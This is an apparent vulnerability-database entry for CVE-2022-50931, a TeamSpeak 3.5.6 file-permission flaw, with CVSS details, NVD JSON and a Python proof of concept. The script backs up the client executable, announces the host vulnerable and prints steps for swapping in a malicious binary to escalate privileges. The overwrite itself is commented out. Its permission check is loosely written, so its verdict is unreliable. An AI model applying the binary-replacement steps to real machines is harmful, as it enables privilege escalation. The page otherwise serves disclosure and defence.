Security Vulnerability Report
中文
CVE-2022-50931 CVSS 7.8 HIGH

CVE-2022-50931

Published: 2026-01-13 23:15:58
Last Modified: 2026-02-02 16:16:17

Description

TeamSpeak 3.5.6 contains an insecure file permissions vulnerability that allows local attackers to replace executable files with malicious binaries. Attackers can replace system executables like ts3client_win32.exe with custom files to potentially gain SYSTEM or Administrator-level access.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:teamspeak:teamspeak:3.5.6:*:*:*:*:*:*:* - VULNERABLE
TeamSpeak 3.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2022-50931 PoC - TeamSpeak 3.5.6 Insecure File Permissions # This PoC demonstrates the file permission vulnerability import os import sys import shutil import ctypes def check_vulnerability(): """Check if TeamSpeak installation is vulnerable""" # Common TeamSpeak installation paths paths = [ r"C:\Program Files\TeamSpeak 3 Client\ts3client_win32.exe", r"C:\Program Files (x86)\TeamSpeak 3 Client\ts3client_win32.exe", os.path.expanduser(r"~\AppData\Local\TeamSpeak 3 Client\ts3client_win32.exe") ] vulnerable = False for path in paths: if os.path.exists(path): # Check if current user has write permission try: # Attempt to get current permissions (simplified check) print(f"[*] Found TeamSpeak executable at: {path}") print(f"[*] Checking write permissions...") # In real attack, attacker would replace the file here # For PoC, we demonstrate the vulnerability exists # Backup original file backup_path = path + ".bak" if not os.path.exists(backup_path): shutil.copy2(path, backup_path) print(f"[+] Created backup: {backup_path}") # Create malicious executable placeholder malicious_exe = b'MZ\x90\x00\x03\x00\x00\x00...' # Minimal PE header # In actual exploitation: # with open(path, 'wb') as f: # f.write(malicious_exe) print(f"[!] VULNERABLE: Current user has write access to {path}") print(f"[!] Attacker could replace this file with malicious executable") vulnerable = True except PermissionError: print(f"[-] No write permission for: {path}") except Exception as e: print(f"[-] Error checking {path}: {e}") return vulnerable def main(): print("=" * 60) print("CVE-2022-50931 - TeamSpeak Insecure File Permissions PoC") print("=" * 60) if not check_vulnerability(): print("[+] System appears to be patched or TeamSpeak not installed") else: print("\n[*] Exploitation steps:") print("1. Replace ts3client_win32.exe with malicious executable") print("2. Wait for user/admin to launch TeamSpeak client") print("3. Malicious code executes with elevated privileges") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50931", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:57.767", "lastModified": "2026-02-02T16:16:16.963", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "TeamSpeak 3.5.6 contains an insecure file permissions vulnerability that allows local attackers to replace executable files with malicious binaries. Attackers can replace system executables like ts3client_win32.exe with custom files to potentially gain SYSTEM or Administrator-level access."}, {"lang": "es", "value": "TeamSpeak 3.5.6 contiene una vulnerabilidad de permisos de archivo inseguros que permite a atacantes locales reemplazar archivos ejecutables con binarios maliciosos. Los atacantes pueden reemplazar ejecutables del sistema como ts3client_win32.exe con archivos personalizados para obtener potencialmente acceso a nivel de SYSTEM o Administrador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamspeak:teamspeak:3.5.6:*:*:*:*:*:*:*", "matchCriteriaId": "2BD55092-4302-496F-9F06-13E48176B523"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50743", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.teamspeak.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.teamspeak.com/en/downloads", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/teamspeak-insecure-file-permissions", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}